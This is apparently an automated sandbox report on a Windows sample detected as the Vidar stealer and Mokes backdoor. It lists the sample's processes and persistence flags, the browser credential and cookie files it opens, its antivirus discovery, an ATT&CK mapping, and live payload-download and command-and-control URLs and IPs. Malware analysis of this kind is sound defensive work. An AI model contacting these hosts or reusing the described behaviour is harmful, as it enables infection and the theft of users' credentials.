Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Memory written: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Memory written: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe base: 400000 value starts with: 4D5A

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe

Code function: 1_2_00419F90 GetCurrentProcess,GetLastError,GetLastError,SetPriorityClass,GetLastError,GetModuleFileNameW,PathRemoveFileSpecW,GetCommandLineW,CommandLineToArgvW,lstrcpyW,lstrcmpW,lstrcmpW,lstrcpyW,lstrcpyW,lstrcmpW,lstrcmpW,GlobalFree,lstrcpyW,lstrcpyW,OpenProcess,WaitForSingleObject,CloseHandle,Sleep,GlobalFree,GetCurrentProcess,GetExitCodeProcess,TerminateProcess,CloseHandle,lstrcatW,GetVersion,lstrcpyW,lstrcatW,lstrcatW,_memset,ShellExecuteExW,CreateThread,lstrlenA,lstrcatW,_malloc,lstrcatW,_memset,lstrcatW,MultiByteToWideChar,lstrcatW,lstrlenW,CreateThread,WaitForSingleObject,CreateMutexA,CreateMutexA,lstrlenA,lstrcpyA,_memmove,_memmove,_memmove,GetUserNameW,GetMessageW,GetMessageW,DispatchMessageW,TranslateMessage,TranslateMessage,DispatchMessageW,GetMessageW,PostThreadMessageW,PeekMessageW,PostThreadMessageW,PeekMessageW,DispatchMessageW,PeekMessageW,WaitForSingleObject,PostThreadMessageW,PeekMessageW,DispatchMessageW,PeekMessageW,WaitForSingleObject,CloseHandle,

1_2_00419F90

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Process created: C:\Users\user\Desktop\n8XBpFdVFU.exe "C:\Users\user\Desktop\n8XBpFdVFU.exe"	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Process created: C:\Users\user\Desktop\n8XBpFdVFU.exe "C:\Users\user\Desktop\n8XBpFdVFU.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Process created: C:\Users\user\Desktop\n8XBpFdVFU.exe "C:\Users\user\Desktop\n8XBpFdVFU.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Process created: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe "C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Process created: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe --Task
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	Process created: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe "C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe"
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Process created: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe "C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe" --AutoStart
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Process created: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe "C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe" --AutoStart

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe

Code function: 0_2_05E480F6 cpuid

0_2_05E480F6

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	0_2_05E60AB6
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: _LcidFromHexString,GetLocaleInfoW,_TestDefaultLanguage,	1_2_00438178
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	1_2_00440116
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: _wcscmp,_wcscmp,GetLocaleInfoW,GetLocaleInfoW,GetACP,	1_2_004382A2
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,	1_2_0043834F
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: _memset,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromCountry,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,___crtDownlevelLCIDToLocaleName,___crtDownlevelLCIDToLocaleName,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,__itow_s,	1_2_00438423
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: EnumSystemLocalesW,	1_2_004387C8
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: GetLocaleInfoW,	1_2_0043884E
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: _TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_GetLocaleNameFromDefault,IsValidCodePage,_wcschr,_wcschr,__itow_s,_LcidFromHexString,GetLocaleInfoW,	1_2_00437BB3
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: EnumSystemLocalesW,	1_2_00437E27
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	1_2_00437E83
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	1_2_00437F00
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: _LcidFromHexString,GetLocaleInfoW,GetLocaleInfoW,__wcsnicmp,GetLocaleInfoW,_TestDefaultLanguage,	1_2_00437F83
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	3_2_05E20AB6
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: _LcidFromHexString,GetLocaleInfoW,_TestDefaultLanguage,	4_2_00438178
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	4_2_00440116
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: _wcscmp,_wcscmp,GetLocaleInfoW,GetLocaleInfoW,GetACP,	4_2_004382A2
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,	4_2_0043834F
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: _memset,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromCountry,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,___crtDownlevelLCIDToLocaleName,___crtDownlevelLCIDToLocaleName,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,__itow_s,	4_2_00438423
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: EnumSystemLocalesW,	4_2_004387C8
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: GetLocaleInfoW,	4_2_0043884E
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: _TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_GetLocaleNameFromDefault,IsValidCodePage,_wcschr,_wcschr,__itow_s,__invoke_watson,_LcidFromHexString,GetLocaleInfoW,	4_2_00437BB3
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: EnumSystemLocalesW,	4_2_00437E27
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	4_2_00437E83
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	4_2_00437F00
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Code function: _LcidFromHexString,GetLocaleInfoW,GetLocaleInfoW,__wcsnicmp,GetLocaleInfoW,_TestDefaultLanguage,	4_2_00437F83

Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe

Code function: 0_2_00409DFB GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00409DFB

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe

1_2_00419F90

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe

Code function: 1_2_0042FE47 __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

1_2_0042FE47

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe

1_2_00419F90

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Files%\Windows Defender\MsMpeng.exe
Source: build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.0000000000858000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information

Yara detected Vidar stealer

Source: Yara match	File source: 8.2.build2.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.build2.exe.1ce15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.build2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.build2.exe.1ce15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.1717427302.0000000001CE0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1875771644.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: build2.exe PID: 6820, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: build2.exe PID: 7176, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\ExperimentStoreData.json	Jump to behavior
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\shield-preference-experiments.json	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\handlers.json	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\protections.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\Telemetry.FailedProfileLocks.txt	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\addonStartup.json.lz4	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\content-prefs.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\addons.json	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\targeting.snapshot.json	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\webappsstore.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\z6bny8rn.default\times.json	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Google Profile.ico	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\pkcs11.txt	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\search.json.mozlz4	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\permissions.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\webappsstore.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\heavy_ad_intervention_opt_out.db-journal	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\LOG.old	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\containers.json	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\AlternateServices.txt	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\extension-preferences.json	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\heavy_ad_intervention_opt_out.db	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\parent.lock	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore.jsonlz4	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\SiteSecurityServiceState.txt	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\trusted_vault.pb	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\xulstore.json	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\webappsstore.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\times.json	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior

Source: Yara match

File source: Process Memory Space: build2.exe PID: 7176, type: MEMORYSTR

Remote Access Functionality

Yara detected Vidar stealer

Source: Yara match	File source: 8.2.build2.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.build2.exe.1ce15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.build2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.build2.exe.1ce15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.1717427302.0000000001CE0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1875771644.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: build2.exe PID: 6820, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: build2.exe PID: 7176, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	2 System Time Discovery	1 Taint Shared Content	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	2 Data Encrypted for Impact
Credentials	Domains	Default Accounts	2 Native API	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	2 Obfuscated Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	3 Command and Scripting Interpreter	1 Services File Permissions Weakness	211 Process Injection	2 Software Packing	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	NTDS	44 System Information Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Services File Permissions Weakness	1 Masquerading	LSA Secrets	1 Query Registry	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	21 Virtualization/Sandbox Evasion	Cached Domain Credentials	271 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	211 Process Injection	DCSync	21 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Services File Permissions Weakness	Proc Filesystem	2 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
n8XBpFdVFU.exe	50%	ReversingLabs	Win32.Backdoor.Mokes
n8XBpFdVFU.exe	100%	Avira	HEUR/AGEN.1313018
n8XBpFdVFU.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	100%	Avira	HEUR/AGEN.1313018
C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sqln[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	50%	ReversingLabs	Win32.Backdoor.Mokes

Source	Detection	Scanner	Label
https://www.gstatic.cn/recaptcha/	0%	Avira URL Cloud	safe
https://95.217.9.1494/4/2024	0%	Avira URL Cloud	safe
https://steam.tv/	0%	Avira URL Cloud	safe
http://cajgtus.com/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=truecQc_	0%	Avira URL Cloud	safe
https://95.217.9.149HIEHI	0%	Avira URL Cloud	safe
https://s.ytimg.com;	0%	Avira URL Cloud	safe
http://cajgtus.com/files/1/build3.exer	0%	Avira URL Cloud	safe
https://95.217.9.149/JKKJDGDGDGIDGIIDAAK	0%	Avira URL Cloud	safe
http://cajgtus.com/files/1/build3.exe$run	0%	Avira URL Cloud	safe
http://schemas.microsoft.c	0%	Avira URL Cloud	safe
https://95.217.9.149a	0%	Avira URL Cloud	safe
https://lv.queniujq.cn	0%	Avira URL Cloud	safe
https://95.217.9.149/	0%	Avira URL Cloud	safe
https://95.217.9.149/bz(	0%	Avira URL Cloud	safe
http://sdfjhuz.com/dl/build2.exe$run	100%	Avira URL Cloud	malware
https://95.217.9.14925ef84b733fnt-Disposition:	0%	Avira URL Cloud	safe
https://95.217.9.149	0%	Avira URL Cloud	safe
https://recaptcha.net/recaptcha/;	0%	Avira URL Cloud	safe
https://95.217.9.149.exe	0%	Avira URL Cloud	safe
http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error	0%	Avira URL Cloud	safe
https://95.217.9.149/y	0%	Avira URL Cloud	safe
https://medal.tv	0%	Avira URL Cloud	safe
https://95.217.9.149/x	0%	Avira URL Cloud	safe
https://broadcast.st.dl.eccdnx.com	0%	Avira URL Cloud	safe
http://cajgtus.com/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637	0%	Avira URL Cloud	safe
https://95.217.9.149/n	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
sdfjhuz.com	175.119.10.231	true	true	unknown
cajgtus.com	211.119.84.111	true	true	unknown
steamcommunity.com	96.17.209.196	true	false	high
api.2ip.ua	172.67.139.220	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://95.217.9.149/	false	Avira URL Cloud: safe	unknown
http://cajgtus.com/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://player.vimeo.com	build2.exe, 00000008.00000002.1876440221.0000000000858000.00000004.00000020.00020000.00000000.sdmp	false		high
http://cajgtus.com/files/1/build3.exe$run	n8XBpFdVFU.exe, 00000004.00000002.2147192061.00000000007F8000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000002.2147192061.00000000007A8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://assets.activity.windows.com/v1/assets	n8XBpFdVFU.exe, 00000004.00000003.1721434517.00000000097C0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://95.217.9.149HIEHI	build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://steamcommunity.com/login/home/?goto=profiles%2F76561199673019888	build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://steamcommunity.com/?subsection=broadcasts	build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=EyWBqDQS-6jg&a	build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
http://cajgtus.com/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=truecQc_	n8XBpFdVFU.exe, 00000004.00000002.2147192061.00000000007A8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://cajgtus.com/files/1/build3.exer	n8XBpFdVFU.exe, 00000004.00000003.1746830104.0000000003100000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
